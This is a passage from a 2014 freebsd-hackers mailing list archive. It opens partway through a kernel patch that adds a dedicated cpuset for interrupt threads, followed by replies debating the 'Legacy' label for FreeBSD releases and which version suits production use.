have no valid cpu based on restrictions from the parent. @@ -725,9 +755,10 @@ * 1 - The default set which all processes are a member of until changed. * This allows an administrator to move all threads off of given cpus to * dedicate them to high priority tasks or save power etc. + * 2 - The root set which should be used for all interruot/ithreads. */ -struct cpuset * -cpuset_thread0(void) +static void +cpuset_init_sets(void) { struct cpuset *set; int error; @@ -751,14 +782,31 @@ * Now derive a default, modifiable set from that to give out. */ set = uma_zalloc(cpuset_zone, M_WAITOK); - error = _cpuset_create(set, cpuset_zero, &cpuset_zero->cs_mask, 1); + error = _cpuset_create(set, cpuset_zero, &cpuset_zero->cs_mask, + CPUSET_SET1); KASSERT(error == 0, ("Error creating default set: %d\n", error)); /* - * Initialize the unit allocator. 0 and 1 are allocated above. + * Create another root set for interrupt bindings. */ - cpuset_unr = new_unrhdr(2, INT_MAX, NULL); + set = uma_zalloc(cpuset_zone, M_WAITOK); + error = _cpuset_create(set, cpuset_zero, &cpuset_zero->cs_mask, + CPUSET_ITHREAD); + KASSERT(error == 0, ("Error creating ithread cpuset: %d\n", error)); + set->cs_flags |= CPU_SET_ROOT; + cpuset_iroot = &set->cs_mask; + /* + * Initialize the unit allocator. Reserve 0..15 for special sets. + */ + cpuset_unr = new_unrhdr(CPUSET_RESERVED_MAX + 1, INT_MAX, NULL); +} - return (set); +struct cpuset * +cpuset_thread0(void) +{ + + cpuset_init_sets(); + + return (cpuset_lookup_builtin(CPUSET_SET1)); } /* Index: sys/kern/kern_intr.c =================================================================== --- sys/kern/kern_intr.c +++ sys/kern/kern_intr.c @@ -318,7 +318,7 @@ if (ie->ie_thread != NULL) { CPU_ZERO(&mask); if (cpu == NOCPU) - CPU_COPY(cpuset_root, &mask); + CPU_COPY(cpuset_iroot, &mask); else CPU_SET(cpu, &mask); id = ie->ie_thread->it_thread->td_tid; @@ -334,7 +334,7 @@ if (ie->ie_thread != NULL) { CPU_ZERO(&mask); if (ie->ie_cpu == NOCPU) - CPU_COPY(cpuset_root, &mask); + CPU_COPY(cpuset_iroot, &mask); else CPU_SET(ie->ie_cpu, &mask); id = ie->ie_thread->it_thread->td_tid; @@ -381,7 +381,7 @@ * If we're setting all cpus we can unbind. Otherwise make sure * only one cpu is in the set. */ - if (CPU_CMP(cpuset_root, mask)) { + if (CPU_CMP(cpuset_iroot, mask)) { for (n = 0; n < CPU_SETSIZE; n++) { if (!CPU_ISSET(n, mask)) continue; @@ -409,7 +409,7 @@ CPU_ZERO(mask); mtx_lock(&ie->ie_lock); if (ie->ie_cpu == NOCPU) - CPU_COPY(cpuset_root, mask); + CPU_COPY(cpuset_iroot, mask); else CPU_SET(ie->ie_cpu, mask); mtx_unlock(&ie->ie_lock); @@ -461,6 +461,7 @@ TD_SET_IWAIT(td); thread_unlock(td); td->td_pflags |= TDP_ITHREAD; + td->td_cpuset = cpuset_lookup_builtin(CPUSET_ITHREAD); ithd->it_thread = td; CTR2(KTR_INTR, "%s: created %s", __func__, name); return (ithd); @@ -485,6 +486,7 @@ TD_SET_IWAIT(td); thread_unlock(td); td->td_pflags |= TDP_ITHREAD; + td->td_cpuset = cpuset_lookup_builtin(CPUSET_ITHREAD); ithd->it_thread = td; CTR2(KTR_INTR, "%s: created %s", __func__, name); return (ithd); Index: sys/sys/cpuset.h =================================================================== --- sys/sys/cpuset.h +++ sys/sys/cpuset.h @@ -81,6 +81,10 @@ */ #define CPUSET_INVALID -1 #define CPUSET_DEFAULT 0 +#define CPUSET_SET1 1 +#define CPUSET_ITHREAD 2 + +#define CPUSET_RESERVED_MAX 15 #ifdef _KERNEL LIST_HEAD(setlist, cpuset); @@ -110,11 +114,12 @@ #define CPU_SET_ROOT 0x0001 /* Set is a root set. */ #define CPU_SET_RDONLY 0x0002 /* No modification allowed. */ -extern cpuset_t *cpuset_root; +extern cpuset_t *cpuset_root, *cpuset_iroot; struct prison; struct proc; struct cpuset *cpuset_thread0(void); +struct cpuset *cpuset_lookup_builtin(cpusetid_t setid); struct cpuset *cpuset_ref(struct cpuset *); void cpuset_rel(struct cpuset *); int cpuset_setthread(lwpid_t id, cpuset_t *); --------------090404000700090306000808-- From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 19:26:12 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 690BB4D6; Wed, 4 Jun 2014 19:26:12 +0000 (UTC) Received: from icp-osb-irony-out1.external.iinet.net.au (icp-osb-irony-out1.external.iinet.net.au [203.59.1.210]) by mx1.freebsd.org (Postfix) with ESMTP id ACFD026E9; Wed, 4 Jun 2014 19:26:10 +0000 (UTC) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgMUAORxj1N90YHN/2dsb2JhbABZgwdSg0SKN50fAQEBAQEGmCcBgRAWdIIlAQEEASMPAUYFCwsNCgECAgUhAgIPBRgjDhOIOgcOrAmlaheBKoQriH0HgnU2gRUEmhKGWkCMIINKKw X-IronPort-AV: E=Sophos;i="4.98,974,1392134400"; d="scan'208";a="230043259" Received: from unknown (HELO smtp.phoenix) ([125.209.129.205]) by icp-osb-irony-out1.iinet.net.au with ESMTP; 05 Jun 2014 03:26:03 +0800 Received: by smtp.phoenix (Postfix, from userid 1001) id B8BDC694; Thu, 5 Jun 2014 05:26:02 +1000 (EST) Date: Thu, 5 Jun 2014 05:26:02 +1000 From: andrew clarke To: Jonathan Anderson Subject: Re: There is currently no usable release of FreeBSD. Message-ID: <20140604192602.GA54953@ozzmosis.com> References: <332D72DF-2225-40E2-B246-0786181AAB51@tony.li> <538F5FB5.9060008@FreeBSD.org> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <538F5FB5.9060008@FreeBSD.org> User-Agent: Mutt/1.5.23 (2014-03-12) Cc: freebsd-hackers@freebsd.org, Tony Li X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 19:26:12 -0000 On Wed 2014-06-04 15:34:37 UTC-0230, Jonathan Anderson (jonathan@FreeBSD.org) wrote: > Tony Li wrote: > > What’s the problem with using â€legacy’? > > Is the problem actually that we're using the term "legacy", which some > vendors use to mean "unsupported"? Perhaps we ought to say: The Subject: line is trollbait but I think at the very least "legacy" is a confusing term to use, with unneccessarily (in this instance) negative connotations for what is after all very good, reliable, supported, software. http://en.wikipedia.org/wiki/Legacy_system http://en.wikipedia.org/wiki/Legacy_code Merely a documentation issue, not a code quality/@hackers issue. Regards Andrew From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 19:34:26 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4AF6A83B for ; Wed, 4 Jun 2014 19:34:26 +0000 (UTC) Received: from aussmtpmrkps320.us.dell.com (aussmtpmrkps320.us.dell.com [143.166.224.254]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (Client CN "ausxipmktps31.us.dell.com", Issuer "Dell Inc. Enterprise Issuing CA1" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 0E83727DA for ; Wed, 4 Jun 2014 19:34:25 +0000 (UTC) X-Loopcount0: from 64.238.244.148 X-IronPort-AV: E=Sophos;i="4.98,974,1392184800"; d="scan'208";a="139199351" Message-ID: <538F747C.7010901@vangyzen.net> Date: Wed, 4 Jun 2014 14:33:16 -0500 From: Eric van Gyzen User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: "freebsd-hackers@freebsd.org" Subject: "Legacy" Release Terminology [was: There is currently no usable release of FreeBSD.] References: <332D72DF-2225-40E2-B246-0786181AAB51@tony.li> <538F5FB5.9060008@FreeBSD.org> <662C363E-A16E-48B2-9FBF-D2D4AB81733C@dataix.net> <538F70A8.4060904@FreeBSD.org> In-Reply-To: <538F70A8.4060904@FreeBSD.org> Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 19:34:26 -0000 On 06/04/2014 14:16, Jonathan Anderson wrote: > Jason Hellenthal wrote: >> Legacy . . . >> /adjective/ >> COMPUTING >> ** >> >> 1. >> *1*. >> denoting software or hardware that has been superseded but is >> difficult to replace because of its wide use. >> >> >> What about that says unsupported ? > > > Sure, you're right about the dictionary definition, but in some usage > (including among certain folks who build, package and use a popular > open-source alternative to FreeBSD), people treat the word "legacy" as > synonymous with "obsolete". Perhaps they shouldn't, but many do, and > the original poster is trying to justify to the compliance-happy parts > of an organisation why it's ok to base a company's future on something > labelled as ${perceived-to-be-negative adjective}. > > So, rather than use words that are unclear (people in this > conversation seem to have different perspectives on them), I suggest > that we use unambiguous language: "branch X will be supported until > x/y/zz". I have long thought that "Legacy", as used on the front page of www.freebsd.org, was misleading. Please, let's change it. Let's call 8.4, 9.2, and 10.0 all "Production", because that is what they are. The numbers imply most of the relevant distinctions (features, maturity, longevity, etc.). Independently, specifying branch support dates would also be helpful, but let's at least improve the "legacy" terminology. Eric From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 20:14:42 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9F87F564; Wed, 4 Jun 2014 20:14:42 +0000 (UTC) Received: from systemdatarecorder.org (ec2-54-246-96-61.eu-west-1.compute.amazonaws.com [54.246.96.61]) (using TLSv1.1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (Client CN "localhost", Issuer "localhost" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 38C202B83; Wed, 4 Jun 2014 20:14:41 +0000 (UTC) Received: from nereid (84-253-211-213.bb.dnainternet.fi [84.253.211.213]) (authenticated bits=0) by systemdatarecorder.org (8.14.4/8.14.4/Debian-2ubuntu2.1) with ESMTP id s54KDksR004993 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NOT); Wed, 4 Jun 2014 20:13:46 GMT Date: Wed, 4 Jun 2014 23:14:32 +0300 From: Stefan Parvu To: Jonathan Anderson Subject: Re: There is currently no usable release of FreeBSD. Message-Id: <20140604231432.a5581f5a50f8d7e1611f9736@systemdatarecorder.org> In-Reply-To: <538F5FB5.9060008@FreeBSD.org> References: <332D72DF-2225-40E2-B246-0786181AAB51@tony.li> <538F5FB5.9060008@FreeBSD.org> Organization: systemdatarecorder.org X-Mailer: Sylpheed 3.4.1 (GTK+ 2.24.22; amd64-portbld-freebsd11.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: freebsd-hackers@freebsd.org, Tony Li X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 20:14:42 -0000 > Is the problem actually that we're using the term "legacy", which some > vendors use to mean "unsupported"? Perhaps we ought to say: better approach: stable: 8.4, 9.2, 10.0 current: 11.0 It should be clear listed what are the stable releases, can be many, and what are the future releases as well. Simple keep two naming conventions for whats stable and ready for production and what is coming next. -- Stefan Parvu From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 20:18:25 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 412E9772 for ; Wed, 4 Jun 2014 20:18:25 +0000 (UTC) Received: from mx1.scaleengine.net (beauharnois2.bhs1.scaleengine.net [142.4.218.15]) by mx1.freebsd.org (Postfix) with ESMTP id 191282BBD for ; Wed, 4 Jun 2014 20:18:24 +0000 (UTC) Received: from [10.1.1.1] (S01060001abad1dea.hm.shawcable.net [50.70.146.73]) (Authenticated sender: allanjude.freebsd@scaleengine.com) by mx1.scaleengine.net (Postfix) with ESMTPSA id C28D17DC15 for ; Wed, 4 Jun 2014 20:18:22 +0000 (UTC) Message-ID: <538F7F10.7070605@freebsd.org> Date: Wed, 04 Jun 2014 16:18:24 -0400 From: Allan Jude User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: There is currently no usable release of FreeBSD. References: <332D72DF-2225-40E2-B246-0786181AAB51@tony.li> <538F5FB5.9060008@FreeBSD.org> <20140604231432.a5581f5a50f8d7e1611f9736@systemdatarecorder.org> In-Reply-To: <20140604231432.a5581f5a50f8d7e1611f9736@systemdatarecorder.org> X-Enigmail-Version: 1.6 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="F9UsoSU69NNfOg5CPXjcGvJJjO78uIoPj" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 20:18:25 -0000 This is an OpenPGP/MIME signed message (RFC 4880 and 3156) --F9UsoSU69NNfOg5CPXjcGvJJjO78uIoPj Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable On 2014-06-04 16:14, Stefan Parvu wrote: >=20 >> Is the problem actually that we're using the term "legacy", which some= =20 >> vendors use to mean "unsupported"? Perhaps we ought to say: >=20 > better approach: >=20 > stable: 8.4, 9.2, 10.0 > current: 11.0 >=20 > It should be clear listed what are the stable releases, can be many, an= d what are the > future releases as well. Simple keep two naming conventions for whats s= table and > ready for production and what is coming next. >=20 Technically, the branches are stable so it'd be: Releases: 10.0, 9.2, 8.4 Testing: 11-snapshot, 9.3 or something like that. s/Releases/Production/ --=20 Allan Jude --F9UsoSU69NNfOg5CPXjcGvJJjO78uIoPj Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.16 (MingW32) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQIcBAEBAgAGBQJTj38TAAoJEJrBFpNRJZKf0FoP/3v/WsLWScOTboH9yGdz73DH 3x7Ieci3ITgAbbo08Cmmkw5dMUGNeCrynvEHK6XK76fMSjuLaMHEl86IB2ZVhjUv qgOu+6U4hKGxTg28D/sK5goXyi92HiSbEImFTcYylPuH22+YlVdG+EMqZGTVZoqs +ZNzDOKV2n/u5Rlxin4ryi3CMU9oUhcS4tbBE/fWijpPBKSWEltCUjneeOtqGm/G zLrtU8T0tOjkfJooAYyle8nzD4vUhkbOG2MrgNYwPdZpZipchLfYCDxg56N+r9lD SLnFv1DM2+/3wycRwISdnVEEbCfL465g3t5MTZ+B63QKPkejxrTpGEykJgKwH4en tpZxa9b4RF30n/I7G1bJOyMkGNpJK0CAv4jNb8l/N9gckLdWlV9SMbf2z+bZRDf9 6dOue33Pu8na5/vJKCRDiL0+KR+61/DPimoHDHUDsHNQXOMRiHQh1JDBfndT85/a WHYLoHgnq3rz23rk0j6TwxWSUfl9DR5G/0ioCZwPIjNtL/l/WISAR5D2NNo2YOgP 12liNeejlsik/xKD91JIjgyrG7iCYcruYPXIeHjy/m9/K9oVL/EHlb7WHtb3hk8q IyQN3rOURVP6bR2Zhy7pVf8RbLN3IhE6eNzYQFQIEvft4ycdLStHjEGUUWQVseqd XH6bXaYLzJ8xSHy9vlUX =L0fg -----END PGP SIGNATURE----- --F9UsoSU69NNfOg5CPXjcGvJJjO78uIoPj-- From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 20:20:50 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id EF517A35 for ; Wed, 4 Jun 2014 20:20:50 +0000 (UTC) Received: from kozubik.com (kozubik.com [216.218.240.130]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id DA2DD2BDB for ; Wed, 4 Jun 2014 20:20:50 +0000 (UTC) Received: from kozubik.com (localhost [127.0.0.1]) by kozubik.com (8.14.3/8.14.3) with ESMTP id s54KKm9A005332; Wed, 4 Jun 2014 13:20:48 -0700 (PDT) (envelope-from john@kozubik.com) Received: from localhost (john@localhost) by kozubik.com (8.14.3/8.14.3/Submit) with ESMTP id s54KKfA7005329; Wed, 4 Jun 2014 13:20:43 -0700 (PDT) (envelope-from john@kozubik.com) Date: Wed, 4 Jun 2014 13:20:41 -0700 (PDT) From: John Kozubik To: Poul-Henning Kamp Subject: Re: There is currently no usable release of FreeBSD. In-Reply-To: <18771.1401901640@critter.freebsd.dk> Message-ID: References: <18771.1401901640@critter.freebsd.dk> User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; format=flowed; charset=US-ASCII Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 20:20:51 -0000 On Wed, 4 Jun 2014, Poul-Henning Kamp wrote: > In message , John Kozubik writes: > >> Which version of FreeBSD would you use ? > > -current ? >From the FreeBSD Handbook: "... it is really only of interest to developers working on the system and die-hard hobbyists." "No claims are made that any -CURRENT snapshot can be considered production quality for any purpose." I don't think you noticed the first part of my question, which was: >> Let's pretend for a moment that you are going to use FreeBSD for >> something other than FreeBSD development. Let's pretend that you have >> customers and shareholders and boardmembers and contracts and >> regulators. From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 20:24:17 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 88A2DEA7 for ; Wed, 4 Jun 2014 20:24:17 +0000 (UTC) Received: from mx1.scaleengine.net (beauharnois2.bhs1.scaleengine.net [142.4.218.15]) by mx1.freebsd.org (Postfix) with ESMTP id 613A22DB6 for ; Wed, 4 Jun 2014 20:24:16 +0000 (UTC) Received: from [10.1.1.1] (S01060001abad1dea.hm.shawcable.net [50.70.146.73]) (Authenticated sender: allanjude.freebsd@scaleengine.com) by mx1.scaleengine.net (Postfix) with ESMTPSA id 4A06B7DC35 for ; Wed, 4 Jun 2014 20:24:16 +0000 (UTC) Message-ID: <538F8071.2040203@freebsd.org> Date: Wed, 04 Jun 2014 16:24:17 -0400 From: Allan Jude User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: There is currently no usable release of FreeBSD. References: <18771.1401901640@critter.freebsd.dk> In-Reply-To: X-Enigmail-Version: 1.6 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="5G2UBjt8OPItFWVHcIdqJJBijUTRkN0l1" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 20:24:17 -0000 This is an OpenPGP/MIME signed message (RFC 4880 and 3156) --5G2UBjt8OPItFWVHcIdqJJBijUTRkN0l1 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable On 2014-06-04 16:20, John Kozubik wrote: >=20 >=20 > On Wed, 4 Jun 2014, Poul-Henning Kamp wrote: >=20 >> In message , John >> Kozubik writes: >> >>> Which version of FreeBSD would you use ? >> If you do not want to use 10.0, then go with 9.2, and upgrade to 9.3 when it comes out, which will be supported for 2+ years. The advantage to 10.0 (or using stable/10) is that you get support going forward until the end of 2018, compared to mid-2016 with 9.2 But this assumes you keep up-to-date, and don't just stick with the version you start with. --=20 Allan Jude --5G2UBjt8OPItFWVHcIdqJJBijUTRkN0l1 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.16 (MingW32) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQIcBAEBAgAGBQJTj4B0AAoJEJrBFpNRJZKfvXwP/R1EHIxUTtNO+2D/twqKi7Ov 5PfwqlhiI2jakGnn4pI5rzvEPkXOwBwDtocTy1ZMT0kTTxjqnNYOEvrQjYAVyP3l 21Zg7AWgUdGY6R7Lp5+bNyGrYEJRn+pVlD2jPOdO2ZvkAesm5+9/zRuiMhIC0VJo cwucQIecegONg05Wxzty7G4P1mG7D+aOSIDoAhDhzSMfvmp/vX8rT54vf7o3eJYh 25h271K8/e7GrfE9wWbdcOh8rvbSxf5CBcCSh9+m4ULThr2j//rv289q7x2rZ4CU 3mO2gvsbDU7ek/thC3/6JurdB6WFZAp5CtP3qcQFIrUXPww7KmJbBDee+MNwRFXm M39KA88xCwSa1SvAyZ+V/sIGCM2lUKNXEZFvUSYyVrvnOvjetz5+BSafBR2i6teq tUn1yTJFPkJ520zSlbn6Vcy8obdakWqWGLESP7BctKpTIkUkCeh0bxTvvir+vmmx A3t85zjkI4jWFH12hDc7DmSS/yPPPOPWgnzm3odSs2SdzF8jAFRU/WJEolo0e1Zj McGm7BwB25tpvDh1E/NOkuJOIA0FMMgHxM7PSsN2BMoAwayPvZa+w9JvGhZtiGGr XqMHo3cWqDmo4+wPlV/pCzJfA+r/WUl14XVIkLL+tz6+0mf+hwx/EZAXfBkNoRma wTpkbHpI5HNTkCZpIFsN =KLb+ -----END PGP SIGNATURE----- --5G2UBjt8OPItFWVHcIdqJJBijUTRkN0l1-- From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 20:28:56 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8B690FA for ; Wed, 4 Jun 2014 20:28:56 +0000 (UTC) Received: from mx1.scaleengine.net (beauharnois2.bhs1.scaleengine.net [142.4.218.15]) by mx1.freebsd.org (Postfix) with ESMTP id 4C7CE2DEC for ; Wed, 4 Jun 2014 20:28:55 +0000 (UTC) Received: from [10.1.1.1] (S01060001abad1dea.hm.shawcable.net [50.70.146.73]) (Authenticated sender: allanjude.freebsd@scaleengine.com) by mx1.scaleengine.net (Postfix) with ESMTPSA id EB4C07DC5D for ; Wed, 4 Jun 2014 20:28:54 +0000 (UTC) Message-ID: <538F818B.8060408@freebsd.org> Date: Wed, 04 Jun 2014 16:28:59 -0400 From: Allan Jude User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: "Legacy" Release Terminology [was: There is currently no usable release of FreeBSD.] References: <332D72DF-2225-40E2-B246-0786181AAB51@tony.li> <538F5FB5.9060008@FreeBSD.org> <662C363E-A16E-48B2-9FBF-D2D4AB81733C@dataix.net> <538F70A8.4060904@FreeBSD.org> <538F747C.7010901@vangyzen.net> In-Reply-To: <538F747C.7010901@vangyzen.net> X-Enigmail-Version: 1.6 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="38mM8MRWvQAEQxJPPfk8dvSf8OD6IbR72" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 20:28:56 -0000 This is an OpenPGP/MIME signed message (RFC 4880 and 3156) --38mM8MRWvQAEQxJPPfk8dvSf8OD6IbR72 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable On 2014-06-04 15:33, Eric van Gyzen wrote: > On 06/04/2014 14:16, Jonathan Anderson wrote: >> Jason Hellenthal wrote: >>> Legacy . . . >>> /adjective/ >>> COMPUTING >>> ** >>> >>> 1. >>> *1*. >>> denoting software or hardware that has been superseded but is >>> difficult to replace because of its wide use. >>> >>> >>> What about that says unsupported ? >> >> >> Sure, you're right about the dictionary definition, but in some usage >> (including among certain folks who build, package and use a popular >> open-source alternative to FreeBSD), people treat the word "legacy" as= >> synonymous with "obsolete". Perhaps they shouldn't, but many do, and >> the original poster is trying to justify to the compliance-happy parts= >> of an organisation why it's ok to base a company's future on something= >> labelled as ${perceived-to-be-negative adjective}. >> >> So, rather than use words that are unclear (people in this >> conversation seem to have different perspectives on them), I suggest >> that we use unambiguous language: "branch X will be supported until >> x/y/zz". >=20 > I have long thought that "Legacy", as used on the front page of > www.freebsd.org, was misleading. Please, let's change it. Let's call > 8.4, 9.2, and 10.0 all "Production", because that is what they are. Th= e > numbers imply most of the relevant distinctions (features, maturity, > longevity, etc.). >=20 > Independently, specifying branch support dates would also be helpful, > but let's at least improve the "legacy" terminology. >=20 > Eric > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.o= rg" >=20 I have made a diff for the proposed change to the front page: https://phabric.freebsd.org/D175 Comments of suggestions welcome --=20 Allan Jude --38mM8MRWvQAEQxJPPfk8dvSf8OD6IbR72 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.16 (MingW32) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQIcBAEBAgAGBQJTj4GLAAoJEJrBFpNRJZKfeXUQAK4228oa6vKKO/k6O9zqRZ/a FI4JLfyel9Q7Tn/IA0OTC6U6kS+0CLlWGWuab4W6TI9jDlYtL6/DMkrqfr2SybuC XsPzdLvlfSM2eEywpe0OuXmNMfnGLmzrgONXd83ZOlZdden5Lg7gisaGGVkJCUDb baZIe9ha/XHeYbFV8u+gcDUOpWVCjdrDx6eaFaLV9CELmaYL6nVUnUReKWF78Of8 VLAkvORR+JPC/l1uXYSqKGJVJoMCN/4GbqSN0BZb6bQnXKHHJuoRCTBDd4KhXM3q qDSZpbBHMIggioFH/hqiC84kPo2I2fLKJ4u/3VSESenaHKUo1Xf6a7Kr3bE6Wmol kCTjFyapcHeRPeleEBr0SDNs/C6J8V5m3lnN2u0b2aTxYGUMTGzM+nTcLVPpciGU MRVWAIPbRrM1uvMrfPUk+F5COIGWiVaTvSs2/KcT5r/+P2xDRFTvEmsQE6qzMhgZ 4B5528mwua9QNeUeOuLYJ56CkBawOxyM+exUwxCqqwiVdulPKsgZroLxqwMC1IED HaGrJKS374aQeZEEVoBh2eetFKbOH2ZEkzHtZJoCMYNiLzXiv+Khq6JzTIdfBsJk SI/t4GPA68VSbWuOCLV7kSgAoARp9jH9YMgZYruNWnZvtNSr5FlSwXFUXChEJ856 XTlraQ/SgPK/qsmGPF3P =6Zhd -----END PGP SIGNATURE----- --38mM8MRWvQAEQxJPPfk8dvSf8OD6IbR72-- From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 20:36:25 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D7009290; Wed, 4 Jun 2014 20:36:25 +0000 (UTC) Received: from systemdatarecorder.org (ec2-54-246-96-61.eu-west-1.compute.amazonaws.com [54.246.96.61]) (using TLSv1.1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (Client CN "localhost", Issuer "localhost" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 71A872EA2; Wed, 4 Jun 2014 20:36:25 +0000 (UTC) Received: from nereid (84-253-211-213.bb.dnainternet.fi [84.253.211.213]) (authenticated bits=0) by systemdatarecorder.org (8.14.4/8.14.4/Debian-2ubuntu2.1) with ESMTP id s54KZUV1005081 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NOT); Wed, 4 